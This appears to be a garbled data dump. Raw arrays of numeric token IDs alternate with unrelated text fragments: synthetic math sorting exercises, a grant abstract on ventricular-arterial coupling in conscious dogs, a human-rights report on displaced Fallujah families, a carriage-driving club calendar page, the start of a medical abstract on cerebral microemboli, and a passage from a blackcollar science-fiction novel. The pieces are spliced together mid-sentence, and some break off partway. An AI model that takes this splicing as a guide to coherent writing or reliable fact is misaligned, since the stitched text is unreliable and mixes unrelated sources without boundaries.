6993, 285, 7217, 275, 253, 50204, 3672, 369, 3264, 13, 533, 752, 369, 417, 3264, 310, 253, 24923, 2208, 457, 84, 19297, 281, 3831, 1110, 24598, 285, 7767, 253, 1569, 15, 510, 3729, 6112, 411, 1456, 28310, 33421, 310, 1527, 281, 512, 21614, 6276, 2905, 3394, 15, 3729, 6112, 411, 1456, 7012, 285, 17386, 5453, 3394, 403, 638, 20188, 342, 1401, 6369, 56, 15, 5446, 52, 3394, 403, 1527, 281, 512, 10865, 28, 5446, 52, 14199, 310, 14659, 15, 187, 187, 6369, 56, 3936, 642, 8294, 323, 253, 7200, 273, 1491, 275, 436, 16485, 15, 733, 310, 5125, 368, 1067, 253, 3057, 1180, 273, 253, 2362, 368, 5730, 281, 8041, 281, 6583, 1491, 15, 329, 11453, 24388, 326, 4737, 273, 1655, 4016, 260, 19613, 968, 310, 2424, 281, 8041, 667, 2362, 275, 6112, 15, 187, 187, 32841, 281, 923, 752, 21614, 6276, 310, 512, 670, 32, 13516, 20848, 387, 581, 273, 776, 3394, 285, 1089, 562, 2, 187, 187, 37443, 187, 187, 2302, 3394, 4390, 275, 253, 16832, 2, 187, 187, 6989, 2402, 27, 187, 187, 22147, 27, 187, 187, 20356, 10882, 27, 187, 187, 2042, 368, 513, 417, 871, 634, 16164, 22440, 285, 9868, 187, 4065, 721, 3507, 14, 41081, 14, 2358, 4196, 390, 4579, 253, 20530, 1456, 21240, 323, 1361, 15, 5804, 34879, 26954, 2494, 16697, 10424, 10808, 9699, 15151, 275, 1363, 342, 48199, 2798, 28367, 32, 187, 4045, 26005, 24223, 3756, 476, 320, 908, 281, 2736, 253, 3361, 273, 4443, 10424, 275, 253, 16562, 18571, 17351, 15, 19096, 10424, 476, 320, 4197, 407, 1027, 4973, 285, 476, 320, 273, 1027, 3753, 27, 4891, 3603, 347, 13344, 4193, 13, 21039, 29111, 390, 15389, 409, 255, 528, 2144, 13, 390, 42626, 672, 597, 403, 4197, 1309, 253, 30572 ]	+ 343. Let s be y(13). Sort 9, 0, 3, s in decreasing order. s, 9, 3, 0 Let z = -1.6 - 0.9. Let y = -0.08 - -0.58. Let x = z + y. Put x, 16, 5 in increasing order. x, 5, 16 Let i(t) = t*2 - 33t - 7t + 51t - 64. Let o be i(-15). Put o, -1, 0, 13 in descending order. 13, 0, -1, o Let b = -2437 + 2433. Sort -10, -3, b, -9 in descending order. -3, b, -9, -10 Let x be ((-228)/(-75))/(6/15). Let w = -7 + x. Sort w, 0.16, -1 in decreasing order. w, 0.16, -1 Suppose -5t + 45 + 25 = 0. Let s be (456/36 - 10)/((-4)/6). Let l be -5 + 2 + -2 + 5. Sort t, s, l in decreasing order. t, l, s Let o = 13.7 - 17.7. Let h = -0.08 - 0.07. Let m = h - 6.85. Sort o, -2, m in decreasing order. -2, o, m Let k be (58/8)/(8 - (-5 - (-927)/72)). Sort The performance of the cardiovascular system depends on the interaction of its components. We propose to investigate the coupling of the left ventricle (LV) and arterial systems in conscious animals with intact reflexes at rest, during exercise, and with depressed LV performance. The analysis of LV and arterial pressure (P)-volume (V) relations to be used in these studies is based on previous observations in the isolated LV ejecting into a model of the arterial system. These concepts have not been evaluated in the circulation of intact, conscious animals and the effects of exercise and clinically important disease processes have not been previously investigated. The following specific hypotheses will be evaluated. Hypothesis 1: The stroke volume (SV) and the LV end-systolic P (PES) are linearly related over the physiologically relevant range. The slope of this relation, EA, is the effective elastance of the arterial system, and is primarily determined under most circumstances by the heart rate and total peripheral vascular resistance. Hypothesis 2: LV stroke work is maximal when end-systolic elastance of the LV (EES) is equal to EA, while mechanical efficiency (the ratio of arterial stroke work to total pressure-volume area, SW/PVA) is maximum when EES is greater than EA. Hypothesis 3: The normal cardiovascular system operates at rest with EES slightly greater than EA, intermediate between points for maximum SW and mechanical efficiency. Hypothesis 4: During exercise, the LV and arterial system function closer to the point of maximum mechanical efficiency with EES > EA; similar increases in heart rate produced by pacing at rest result in suboptimal matching with EES < EA, Hypotheses 5 and 6: When LV function is depressed by rapid pacing induced heart failure or coronary occlusion, the coupling of the LV and arterial system is not optimal, as EA > EES, but can be returned toward optimal by decreasing EA using vasodilators. Hypothesis 1 will be evaluated both in an anesthetized, open-chest preparation in which stroke volume can be precisely controlled by right heart bypass in conscious dogs. The other hypotheses will be evaluated by studying conscious dogs previously instrumented to measure LV pressure and volume. EES will be determined as the slope of the LV end- systolic pressure-volume relation produced by varying LV P and V by transient caval occlusions. EA will be determined as PES/SV. These studies will supply important new information on the coupling of the LV and arterial system of the conscious animal with intact reflexes at rest, during exercise, and following depression of LV performance. These studies may lead to rational interventions to improve pump function in patients with common cardiovascular diseases.Tribal Disputes prevent the displaced from going back to Fallujah Moreover, the Observatory said that continuous presence of some of the families in the refugee camps might allow the extremists to gain support from members of those families and thus rearrange their plans accordingly. 2-8-2017 The Iraqi Observatory for Human Rights stated that large numbers of families that were displaced last year from the city of Fallujah are now unable to return to their areas of origin due to the tribal disputes and revenge operations that erupted there despite the fact that the city was liberated more than a year ago. Moreover, the Observatory said that continuous presence of some of the families in the refugee camps might allow the extremists to gain support from members of those families and thus rearrange their plans accordingly. In an interview with the Iraqi Observatory for Human Rights one of the displaced who has been living in the camps of Amiriyah Fallujah since May, 2016 said: “I am originally from Hasai area, but now I live in Amiriyah Fallujah Camp. I wish to go back to my normal life with my family and my job but I can’t”. He also said: “Although I completed all of the security procedures at the government, I am still not allowed to go back to my city on a tribal basis because my brother is a member of ISIS”. The Observatory said that because the members of some families were associated with members of ISIS, hundreds of other families were not allowed to return to their areas of origin and forced to remain in the refugee camps instead. Another refugee said: “Al Anbar governorate required some families that wish to return to the governorate to declare that they are no longer affiliated with members of ISIS with whom they have kinship relationships. This declaration must be issued as a written pledge either at the office of the area’s mayor or by an attorney and attested at the court”. The Observatory stated that this written declaration of disown is not enough to protect the people since the problem is between the tribes not with the government. And because there are some tribes which did not adhere to the disown pledge which is submitted by relatives of ISIS’s members, their life remains endangered. A relief worker who visits the camps of Amiriyah Fallujah continuously said that a large number of families, around 50% of the families that live in Amiriyah Fallujah, are no longer able to return to their areas of origin although they were previously liberated. An official at the camps of Amiriyah Fallujah told the Observatory that in the camp which he manages there are 50 families out of 190 who cannot return to their areas of origin because their departure from the city was delayed just days before the liberation, which some tribes considered as a sign of these families’ allegiance to ISIS. He added: “The fifty families that were not allowed to return have already fulfilled all of the security inspection requirements, but members of the local police in Al Anbar governorate refused to let them return and considered their delayed stay in the city after the liberation as a sign of their allegiance to ISIS. On the other hand, a refugee from Fallujah district who is currently living in the camps of Amiriyah Fallujah said “An inheritance dispute between me and my brothers resulted in many problems such as when they burned my house and threatened to attack me and my sons and daughters by taking advantage of their authorities and power as members of the security forces. He added: “They (my brothers) accused my son of being a member of ISIS; however, the investigations proved his innocence. The same thing happened with my neighbors with similar details; they had a dispute over a share in an oven. The families that are threatened or accused of belonging to ISIS the most are those which left the city few days before the conclusion of the liberation operations”. The Iraqi Observatory for Human Rights believes that it is necessary to enforce the law in the liberated areas and prevent any revenge acts among the tribes and oblige them to commit to the rules. The tribes must understand that the competent authorities in the Iraqi state are the ones which determine who is a terrorist and who is not. The Observatory stated that the occurrence of revenge acts and violence in the liberated areas was expected, but what was not expected is the Iraqi government’s inability to contain those disputes and enforce the law.The North Texas Whip Events Calendar is open to all carriage driving related events. North Texas Whip approved and hosted club events are prefixed with *NTW. ADS events are open to all drivers; ADS membership is encouraged. NTW takes no responsibility for the accuracy of information in this listing. It is suggested you call the contact number of the event you wish to attend to confirm information. A friendly reminder that proof of current negative coggins is required to attend any event in Texas. Want to see what carriage driving is all about? Come volunteer at one of our events and find out! Calendar No events currently in the calendar! UserName: Password: Security Image: If you do not know your login username and password call 682-561-6896 or email the Membership Chairman for help.Can cerebrovascular microemboli induce cognitive impairment in patients with prosthetic heart valves? Doppler ultrasonography can be used to detect the presence of emboli in the cerebral arterial circulation. Emboli can be produced by different sources and can be of different nature: solid elements as thrombi, platelet aggregates or atheromatous material, or gaseous when they are produced during the decomp
[ 3438, 5729, 738, 308, 5047, 263, 449, 187, 187, 3, 34571, 273, 534, 2789, 667, 3282, 449, 29051, 11898, 521, 1481, 15, 346, 15168, 2998, 342, 418, 4349, 285, 247, 2120, 2806, 2052, 9388, 2285, 1024, 3192, 271, 1600, 275, 352, 15, 5418, 14641, 1032, 6403, 626, 2779, 281, 8138, 616, 673, 327, 1633, 326, 3548, 626, 2834, 13, 1774, 13, 795, 395, 64, 17887, 449, 187, 187, 1328, 6497, 11561, 13, 285, 7667, 1106, 13465, 1066, 253, 21434, 281, 2378, 969, 5513, 253, 9317, 3212, 271, 34024, 3177, 327, 308, 5047, 263, 15, 21461, 13, 29051, 3589, 626, 11339, 1128, 248, 4571, 626, 452, 28987, 281, 824, 247, 1029, 1899, 604, 344, 369, 1128, 2858, 344, 1871, 816, 347, 4518, 3562, 247, 6255, 2972, 281, 2712, 7667, 1106, 1537, 452, 281, 1333, 13, 1880, 352, 574, 667, 1318, 390, 417, 15, 795, 42, 10095, 626, 452, 1705, 64, 1157, 253, 638, 738, 1869, 49483, 15, 795, 11175, 344, 1871, 452, 2218, 247, 1805, 2628, 273, 436, 604, 344, 8715, 626, 10380, 12759, 352, 715, 521, 1481, 326, 344, 574, 281, 921, 479, 598, 3333, 187, 187, 5872, 969, 13, 5046, 344, 5082, 626, 452, 15, 29051, 369, 13, 846, 512, 13, 24193, 285, 6830, 3861, 16266, 860, 281, 5729, 738, 308, 5047, 263, 13, 285, 308, 5047, 263, 8715, 626, 10903, 7667, 1106, 2057, 347, 247, 637, 273, 1270, 10893, 390, 29701, 339, 15, 187, 187, 1989, 840, 13, 6747, 574, 1142, 273, 253, 9044, 6338, 344, 1871, 1313, 327, 17794, 1309, 418, 4349, 434, 7517, 627, 13, 1633, 344, 1871, 644, 1512, 10000, 387, 253, 673, 281, 4366, 15, 12349, 7667, 1106, 434, 3745, 281, 956, 841, 49515, 17059, 273, 9317, 795, 3529, 64, 2080, 562, 273, 253, 9826, 32, 2207, 812, 352, 320, 326, 29051, 3365, 574, 594, 1199, 3289, 9177, 285, 637, 9177, 387, 521, 23585, 326, 344, 1871, 1620, 3058, 281, 562, 18959, 521, 18062, 32, 187, 187, 3, 510, 7085, 342, 352, 937, 29051, 30807, 13, 10155, 253, 10837, 15, 346, 2512, 434, 642, 1039, 359, 1472, 1469, 281, 4677, 562, 418, 4349, 434, 2098, 275, 673, 13, 594, 359, 1472, 816, 1469, 281, 452, 281, 1379, 779, 562, 273, 253, 2165, 449, 187, 187, 3, 1394, 816, 3597, 326, 937, 7667, 1106, 17328, 779, 15, 187, 187, 3, 6506, 13, 973, 13, 436, 673, 359, 1472, 1469, 281, 513, 352, 987, 449, 380, 2087, 480, 357, 3026, 247, 9185, 275, 7667, 1106, 434, 3884, 15, 346, 1328, 434, 1335, 1694, 281, 755, 281, 20626, 2284, 323, 326, 1618, 273, 22129, 13, 987, 32, 6089, 13, 281, 513, 326, 344, 434, 1694, 281, 3057, 253, 1608, 13183, 2485, 567, 4033, 1128, 395, 672, 344, 1057, 13, 359, 1833, 452, 779, 449, 187, 187, 3, 1276, 13, 897, 247, 4481, 2625, 42330, 865, 7667, 1106, 11898, 521, 1481, 15, 346, 8380, 327, 13, 4214, 1128, 9903, 626, 368, 1158, 418, 4349, 434, 816, 247, 1652, 1512, 7060, 281, 2965, 323, 326, 865, 187, 187, 3, 1276, 2010, 310, 344, 1469, 281, 513, 1128, 2184, 627, 11697, 865, 29051, 851, 7551, 15, 346, 24953, 314, 15, 3105, 846, 752, 597, 7320, 327, 779, 627, 1390, 2360, 449, 187, 187, 3, 28645, 344, 795, 23824, 84, 64, 4130, 281, 1921, 326, 1039, 937, 7667, 1106, 5125, 7808, 15, 346, 1898, 275, 326, 1083, 344, 1537, 513, 816, 326, 449, 187, 187, 3864, 2966, 19925, 13, 247, 6680, 4518, 1469, 327, 3212, 521, 2927, 15, 346, 4497, 1051, 28489, 937, 344, 30245, 387, 1390, 13, 285, 7667, 1106, 812, 3282, 849, 1199, 253, 11341, 369, 45964, 779, 15, 346, 1394, 1158, 309, 943, 1691, 247, 9044, 12045, 251, 1475, 253, 2534, 13, 840, 13, 347, 973, 347, 10711, 253, 4481, 3104, 865, 187, 187, 3, 42, 29708, 1053, 626, 1158, 247, 12045, 251, 651, 789, 13, 8674, 937, 7667, 1106, 753, 15, 346, 1394, 3047, 849, 4354, 344, 3636, 253, 8342, 14, 69, 2079, 5085, 562, 627, 3063, 1128, 11958, 14641, 1032, 452, 247, 694, 471, 323, 6308, 1076, 9044, 10824, 15, 309, 1158, 368, 1871, 513, 1805, 281, 1611, 285, 897, 952, 344, 1833, 320, 16764, 281, 923, 387, 253, 1608, 13183, 2485, 567, 8791, 449, 187, 187, 3, 1779, 543, 285, 2652, 6626, 865, 29051, 7320, 387, 521, 5541, 15, 346, 24015, 272, 15, 2552, 320, 4409, 247, 1611, 1128, 9328, 1871, 5604, 320, 19497, 323, 1529, 3790, 342, 779, 449, 187, 187, 3, 1394, 812, 3997, 247, 9092, 281, 731, 3066, 634, 4151, 254, 326, 418, 4349, 434, 1469, 281, 921, 937, 7667, 1106, 5125, 15, 346, 3726, 3164, 476, 626, 2686, 3523, 779, 13, 533, 597, 778, 320, 2104, 281, 3468, 779, 1066, 2217, 323, 368, 281, 755, 271, 247, 1426, 274, 2120, 273, 10824, 627, 275, 673, 449, 187, 187, 3, 510, 39682, 1912, 626, 751, 326, 629, 937, 29051, 49994, 15, 346, 15168, 2998, 604, 616, 28974, 10111, 403, 13572, 275, 253, 1232, 449, 187, 187, 3, 1394, 10345, 626, 627, 1390, 2360, 937, 7667, 1106, 753, 22072, 314, 15, 346, 3726, 497, 625, 32986, 387, 752, 812, 452, 4592, 281, 616, 1211, 39274, 275, 627, 15, 309, 1053, 626, 1158, 597, 1871, 1056, 625, 685, 10669, 33737, 689, 247, 5547, 3177, 281, 22133, 253, 637, 5506, 323, 253, 3819, 449, 187, 187, 3, 34, 686, 12566, 1020, 8, 3177, 13, 368, 1333, 865, 29051, 753, 342, 5982, 4484, 1255, 15, 346, 4497, 13, 1551, 17839, 13, 7667, 1106, 1128, 2520, 581, 795, 9846, 64, 15229, 973, 320, 5547, 449, 187, 187, 3, 4374, 13, 8674, 449, 7667, 1106, 21374, 13, 247, 5536, 2801, 41203, 281, 16359, 4830, 521, 896, 15, 1198, 247, 7017, 253, 29125, 391, 2094, 875, 779, 285, 29051, 574, 2011, 7871, 273, 11196, 1051, 2858, 1024, 13, 323, 642, 1524, 1921, 13, 597, 497, 8423, 896, 387, 13653, 969, 15, 346, 2042, 309, 476, 513, 2712, 281, 1361, 13, 4214, 12012, 187, 187, 3, 42, 1158, 368, 1849, 2218, 512, 368, 878, 281, 937, 29051, 2624, 779, 745, 15, 346, 1394, 1537, 971, 281, 3523, 407, 253, 4112, 2316, 1996, 13, 2167, 13, 285, 3698, 441, 23806, 634, 2806, 2052, 9388, 389, 15044, 449, 367, 12427, 598, 247, 1304, 13, 253, 2087, 22803, 352, 715, 521, 9414, 15, 187, 187, 27347, 598, 13, 7667, 1106, 12860, 29387, 323, 253, 3369, 15, 187, 187, 3, 1394, 1472, 417, 4092, 937, 3667, 254, 434, 4318, 753, 432, 253, 27084, 15, 187, 187, 45, 4349, 1863, 400, 17371, 275, 521, 6951, 281, 923, 253, 643, 6306, 816, 3304, 253, 3811, 2316, 13, 247, 557, 21002, 1382, 48445, 327, 521, 2454, 15, 187, 187, 3, 1394, 10095, 626, 36129, 598, 327, 952, 751, 326, 937, 253, 389, 15044, 753, 41543, 607, 2920, 13, 2167, 512, 2620, 2806, 14641, 1032, 574, 3735, 253, 643, 434, 2746, 15, 346, 1276, 6403, 626, 359, 4092, 670, 865, 187, 187, 3, 5498, 626, 1132, 15377, 937, 3667, 254, 49994, 15, 346, 1394, 12345, 8773, 432, 247, 9044, 642, 583, 436, 9055, 13, 285, 1024, 368, 1472, 36636, 281, 564, 1691, 634, 9851, 987, 896, 715, 352, 32, 1737, 2238, 273, 247, 11213, 513, 368, 1379, 29051, 323, 13, 8791, 865, 187, 187, 3, 1145, 32505, 26093, 800, 581, 13, 323, 37843, 937, 8229, 19482, 753, 6079, 314, 432, 253, 36591, 6951, 835, 344, 369, 20061, 562, 15, 346, 1779, 1972, 403, 344, 1833, 1921, 352, 4555, 253, 1072, 1039, 368, 816, 858, 13, 326, 359, 1472, 2080, 1512, 17497, 281, 1611, 1633, 326, 11339, 449, 187, 187, 5785, 254, 3802, 7551, 15, 346, 510, 7085, 342, 752, 795, 348, 1972, 403, 64, 1905, 395, 281, 7085, 342, 29051, 13, 323, 326, 2647, 13, 984, 368, 1849, 1694, 247, 15229, 8184, 625, 7596, 685, 816, 779, 15, 309, 1849, 644, 4854, 22441, 14, 78, 276, 1597, 432, 512, 689, 253, 2846, 3063, 689, 752, 368, 3317, 37298, 7320, 1390, 2360, 275, 253, 1608, 13183, 2485, 567, 15, 1422, 564, 896, 627, 285, 20627, 1833, 10913, 634, 39274, 562, 281, 6079, 13, 1223, 253, 6383, 1462, 598, 285, 37977, 449, 187, 187, 3, 688, 6547, 253, 2806, 14641, 1032, 865, 418, 4349, 2546, 38920, 15, 187, 187, 5785, 254, 9377, 745, 13, 285, 1633, 2500, 34005, 275, 521, 19723, 15, 346, 1276, 434, 326, 6326, 281, 1599, 865, 344, 2546, 45254, 15, 187, 187, 3, 4013, 13, 309, 1053, 626, 871, 1128, 6309, 3686, 273, 247, 7827, 37835, 15, 309, 1869, 368, 1537, 971, 281, 5513, 2139, 368, 1849, 9257, 16371, 29570, 253, 6242, 273, 643, 2806, 14641, 1032, 275, 20734, 449, 187, 187, 5785, 254, 369, 11561, 323, 247, 2774, 15, 346, 42, 1912, 626, 20423, 634, 9260, 407, 10242, 272, 690, 16267, 937, 344, 753, 387, 1390, 15, 346, 42, 1904, 626, 3748, 731, 984, 309, 1869, 368, 1537, 8356, 1379, 616, 1930, 273, 1841, 275, 253, 1612, 11182, 1469, 327, 275, 253, 2846, 449, 187, 187, 3, 22674, 1930, 13, 285, 23790, 266, 434, 865, 187, 187, 3, 1394, 1849, 2686, 795, 3899, 64, 44484, 266, 865, 3667, 254, 2546, 13, 11694, 272, 271, 47342, 15, 346, 1276, 434, 344, 751, 865, 187, 187, 3, 2302, 13, 642, 581, 434, 5611, 441, 2568, 449, 418, 4349, 11898, 521, 1481, 15, 346, 5804, 309, 5467, 436, 26438, 2097, 326, 368, 1849, 10090, 667, 18055, 670, 441, 281, 1551, 865, 187, 187, 3, 3404, 253, 2774, 13, 29708, 13, 309, 1053, 626, 1646, 281, 452, 667, 4327, 937, 3667, 254, 8176, 15, 346, 2042, 368, 285, 10246, 10984, 403, 4758, 598, 271, 21184, 15464, 323, 479, 13, 309, 1849, 2568, 281, 923, 949, 352, 15, 20539, 285, 5734, 309, 513, 309, 452, 281, 2997, 390, 12009, 368, 327, 6009, 3815, 449, 187, 187, 3, 37565, 253, 1072, 1899, 359, 1472, 275, 13, 368, 1833, 4366, 937, 418, 4349, 753, 15, 346, 1909, 352, 6569, 13, 309, 452, 642, 8208, 273, 2970, 441, 3206, 275, 634, 3055, 1652, 20746, 955, 13, 327, 10246, 10984, 434, 1930, 390, 3780, 2010, 434, 15, 844, 1472, 1060, 281, 513, 247, 2628, 13, 285, 309, 4751, 18607, 281, 755, 253, 7085, 562, 273, 1060, 2378, 359, 1849, 2218, 352, 15, 20539, 840, 13, 359, 1335, 24186, 368, 247, 41289, 323, 634, 1361, 275, 4560, 330, 6529, 13, 285, 359, 1472, 1469, 281, 1978, 776, 629, 273, 326, 27871, 449, 187, 187, 3, 1898, 604, 352, 7729, 634, 22614, 667, 937, 9221, 4351, 753, 432, 2439, 253, 2316, 13, 346, 664, 3260, 627, 497, 643, 2806, 14641, 1032, 275, 3874, 973, 1078, 359, 10903, 776, 2968, 342, 368, 15, 1422, 760, 795, 24286, 64, 368, 497, 7562, 1491, 432, 441, 13, 285, 359, 1472, 3965, 908, 281, 326, 449, 187, 187, 5785, 254, 11373, 298, 2695, 1356, 314, 15, 346, 8398, 368, 937, 344, 753, 342, 247, 10711, 273, 23649, 4542, 15, 346, 4125, 604, 359, 476, 755, 896, 281, 253, 3236, 2256, 13, 752, 253, 7085, 513, 368, 1158, 368, 476, 14294, 407, 1469, 281, 253, 1608, 13183, 2485, 567, 865, 187, 187, 45, 4349, 22638, 15, 346, 1231, 2525, 20626, 2284, 13, 347, 359, 12316, 15, 844, 4931, 755, 247, 1652, 8003, 281, 253, 2234, 359, 878, 281, 8416, 776, 7517, 13, 581, 1039, 390, 1529, 15, 1244, 604, 253, 8364, 2965, 987, 13, 359, 1537, 1014, 2619, 598, 1529, 25550, 449, 187, 187, 5785, 254, 3802, 7551, 15, 346, 1909, 46808, 347, 611, 1240, 2284, 285, 10246, 10984, 865, 187, 187, 3, 1898, 347, 46808, 347, 368, 937, 418, 4349, 753, 29156, 314, 15, 346, 1394, 476, 1379, 634, 2619, 449, 187, 187, 510, 5662, 637, 46993, 779, 275, 10837, 323, 247, 1048, 2774, 15, 2635, 13, 8577, 13, 344, 1669, 253, 2316, 15, 346, 39312, 273, 247, 1039, 281, 1408, 247, 44703, 937, 8229, 19482, 34688, 15, 187, 187, 3, 8903, 22767, 13, 533, 440, 32993, 26214, 17760, 403, 512, 359, 1472, 2779, 281, 755, 275, 436, 3874, 937, 418, 4349, 753, 15, 1707, 369, 1529, 3174, 10539, 387, 253, 3369, 13, 285, 344, 3531, 281, 923, 330, 6529, 4901, 253, 2316, 15, 346, 2347, 434, 634, 2285, 2509, 865, 344, 2546, 253, 9243, 637, 15, 187, 187, 3, 17613, 272, 937, 330, 6529, 753, 13, 271, 8909, 26370, 275, 521, 4318, 15, 346, 42, 1158, 436, 310, 253, 4389, 383, 597, 1849, 3543, 1580, 359, 17735, 13 ]	former Prefect Trendor." "Neither of which makes any sense." Quinn shook his head. "Especially with Lathe and a full blackcollar team now taking an interest in it. Blackcollars aren't likely to waste their time on something that isn't difficult, important, _and_ feasible." He fell silent, and Galway fought down the urge to once again explain the logic behind an assassination attempt on Trendor. Clearly, Quinn wasn't stupid—he couldn't have risen to such a high position if he was—but he'd just as clearly created a mental block to anything Galway might have to say, whether it had any value or not. _I shouldn't have come_, the prefect thought bitterly. _Maybe he'd have done a better job of this if he hadn't somehow gotten it into his head that he had to show me up._ Then again, maybe he wouldn't have. Quinn was, after all, successor and possibly protégé to Prefect Trendor, and Trendor hadn't struck Galway either as a man of great intellect or finesse. But then, neither had many of the Security officials he'd met on Argent during Lathe's mission there, something he'd been too busy at the time to notice. Was Galway's ability to follow these tangled threads of logic _that_ far out of the ordinary? Or could it be that Quinn simply had so much firepower and manpower at his disposal that he'd never needed to outthink his opponents? "The hell with it," Quinn muttered, breaking the silence. "There's no way we're going to figure out Lathe's plan in time, so we're just going to have to take him out of the game." "You just tried that," Galway reminded him. "Yeah, well, this time we're going to do it right." The general jabbed a finger in Galway's direction. "He's still got to get to Kanai for that list of veterans, right? Well, to do that he's got to contact the Shandygaff Bar—and when he does, we'll have him." "What, use a phone signal tracer?" Galway shook his head. "Come on, General—don't you think Lathe's just a little too smart to fall for that?" "What else is he going to do—go there personally?" Quinn retorted. "Hardly. Not after what they pulled on him there last night." "Unless he _expects_ everyone to reason that way," Galway suggested slowly. "And in that case he might do just that." Quinn paused, a battle clearly going on behind his eyes. "Well...maybe," he conceded at last, and Galway could sense how much the admission was costing him. "You think I should put a Security cordon around the bar, then, as well as trace the phone lines?" "I frankly don't think a cordon would work, sir," Galway said. "You saw how easily he identified the plain-dressed units out there today—blackcollars have a knack for spotting Security troops. I think you'd do better to try and use people he'll be expecting to see at the Shandygaff anyway." "Chong and Briller?" Quinn pulled at his lip. "Interesting. May be worth a try—they'd certainly be keen for another round with him." "You could feed a tip to them via your informer that Lathe's going to show," Galway suggested. "They probably can't actually stop him, but they may be able to slow him down enough for you to get an aircar full of troops there in time." "The bosses won't like that part," Quinn growled. "Especially if their mall stores are damaged in the process." "You weren't there last night," Galway said grimly. "They were more furious at what could have happened to their own skins in there. I don't think they'd make more than token noises over a successful attempt to cage the man responsible for the fight." "A'successful' attempt, you say?" Quinn said with sudden coolness. "Well, rest assured, Galway—this one _will_ damn well be successful." "Yes, sir." Galway sighed, a heavy weight seeming to settle onto his back. For a minute the frustrating rift between him and Quinn had shown signs of closing...but now, for no real reason, they were suddenly back at odds again. "If I can do anything to help, General—" "I think you've done all you need to," Quinn cut him off. "You might want to stop by the situation room later, though, and watch us nail your blackcollar comsquare." Picking up a report, the general slid it into his reader. Getting up, Galway headed silently for the door. "You're not serious," Reger's voice said from the doorway. Lathe swiveled in his chair to see the other standing just inside the living room, a disbelieving frown on his face. "You shouldn't sneak up on people like that," the comsquare said reproachfully, though all five blackcollars had heard the other's approach. "What aren't we serious about?" "Don't play innocent," Reger growled. "You barely escape from a Security noose this afternoon, and now you're proposing to go put your heads right back into it? What kind of a fool do you take Quinn for, anyway?" "An unimaginative one, for starters," Skyler said dryly from the lounge chair where he was stretched out. "Chances are he'll reason it exactly the same way you just did, that we're far too intelligent to try something that stupid." Reger snorted. "The hell with what _chances are_ —and to hell with Quinn, for that matter, because you've got a damn sight more trouble than just him. I've been hearing foam-mouthing from all over the city today over what you dimbos pulled last night in the Shandygaff. You go back there and Nash'll hang your skins out to dry, while the customers stand up and applaud." "Including the blackcollars?" Lathe asked mildly. Reger broke off, and something twitched in his cheek. "What's that supposed to mean?" he asked cautiously. "Oh, I don't know—just sort of a conversation opener. I thought you might want to explain why you've carefully avoided mentioning the existence of other blackcollars in Denver." Reger was silent for a moment. "I won't insult your intelligence by inventing some excuse," he said at last. "I didn't mention them because I thought you might automatically take their side of things in the power struggle going on in the city." "Their side, and Saltan's?" "You've actually _met_ Sartan?" Reger asked, cocking an eyebrow. "What's he like?" "No, no one's introduced us yet." Lathe shook his head. "Can I assume this confession means that you've laid any fears about us to rest?" "At the moment, frankly, I don't seem to have any choice," Reger admitted. "If you and Bernhard are setting up an elaborate trap for me, I've yet to see through it. Until and unless I do I have to accept or reject you on faith alone." "Basically the same position we're in, you'll notice," Lathe said. "As it happens, I have no intention of getting us involved in your private little intrigues, on Bernhard's side or anyone else's. We're here to do a job, and I fully intend to get the hell out of here once we've done it. Until then, we still owe you a fortress for your help in finding Caine, and we're going to keep our part of that bargain." "And if it helps your nerves any," Hawking said from across the room, "we knew there were other blackcollars in town well before we struck our deal with you. You only _thought_ you were keeping information from us, and we're pretty used to that." Reger smiled lopsidedly. "Thank you," he said with a trace of sarcasm. "Now if we can get back to the original subject, what the hell do you think you can accomplish by going to the Shandygaff?" Lathe shrugged. "We meet Kanai, as we promised. We perhaps get a little closer to the key we need to finish our mission, one way or another. And if the cards fall right, we might even pick up another ally." Reger snorted. "As trustworthy as Kahai and Bernhard?" "And as trustworthy as you," Lathe said bluntly. "You can take your pick." The older man eyed him in silence for a long moment. Then, turning, he left the room. "Hell of a way to run a circus," Skyler murmured. "Agreed, but untrustworthy allies are all we're likely to get in this town," Lathe said. There was another footstep at the door, and he turned to see Caine enter the room. "How's your team doing?" he asked the younger man. "Resting," Caine said, an odd stiffness in his voice. "I think this is the safest they've felt since we landed,
[ 884, 63, 23, 13146, 497, 4845, 275, 253, 5170, 9320, 15, 2732, 608, 1897, 13, 253, 34062, 1180, 369, 16042, 15, 5094, 36, 5737, 3532, 21906, 1320, 273, 16011, 275, 34062, 9489, 15, 475, 77, 267, 11, 209, 4526, 16, 12765, 32220, 313, 19, 6806, 884, 63, 21, 13146, 497, 27677, 715, 253, 2406, 9320, 273, 811, 4714, 84, 13, 342, 10399, 15190, 313, 18, 6806, 884, 63, 23, 13146, 4845, 275, 253, 5170, 9320, 15, 10399, 15190, 497, 4127, 342, 884, 14986, 16, 1686, 50130, 8092, 1411, 5274, 14, 23, 13, 5274, 14, 18, 5346, 13, 14857, 14, 2141, 13, 40941, 14, 18, 15978, 13, 275, 5019, 390, 342, 1453, 40523, 443, 387, 1388, 337, 285, 1388, 495, 15, 2732, 608, 1897, 13, 253, 1180, 273, 32220, 369, 16042, 15, 496, 253, 1840, 4679, 13, 941, 497, 4469, 347, 1599, 3279, 7388, 28, 475, 79, 11, 426, 495, 38006, 22, 15, 31713, 49, 11, 4398, 470, 15, 1762, 13, 38710, 49, 11, 4398, 470, 15, 520, 5774, 251, 27678, 1816, 14, 2922, 14, 3832, 15144, 14, 72, 7931, 4253, 39, 24, 94, 187, 187, 38535, 1712, 84, 20, 94, 187, 6428, 187, 187, 31412, 3148, 253, 3745, 281, 28498, 253, 4502, 35962, 13, 3021, 1907, 271, 3486, 327, 4502, 3116, 13, 10005, 285, 16200, 15, 3856, 359, 908, 378, 1036, 22835, 1341, 347, 247, 1566, 281, 7277, 253, 4502, 14, 13382, 5341, 3745, 875, 475, 77, 267, 11, 4526, 16, 12765, 285, 475, 77, 267, 11, 28912, 32220, 13, 285, 281, 7409, 253, 6944, 6297, 3206, 275, 253, 1232, 15, 380, 1246, 1263, 2722, 323, 253, 806, 673, 326, 32220, 342, 418, 1556, 14384, 7168, 253, 3745, 281, 23278, 4502, 3116, 285, 16200, 15, 187, 187, 1147, 556, 644, 2361, 326, 378, 1036, 22835, 1341, 858, 417, 830, 8837, 275, 512, 6679, 280, 3754, 5734, 32220, 497, 820, 14, 249, 6499, 1254, 51, 1166, 1656, 496, 776, 1083, 13, 3738, 1355, 8837, 497, 2540, 275, 512, 6679, 280, 401, 36639, 16, 47, 3754, 342, 378, 1036, 22835, 894, 8829, 13, 672, 378, 1036, 22835, 1341, 497, 6804, 342, 475, 77, 267, 11, 4526, 16, 12765, 32220, 13, 616, 3745, 281, 1756, 285, 31690, 369, 3012, 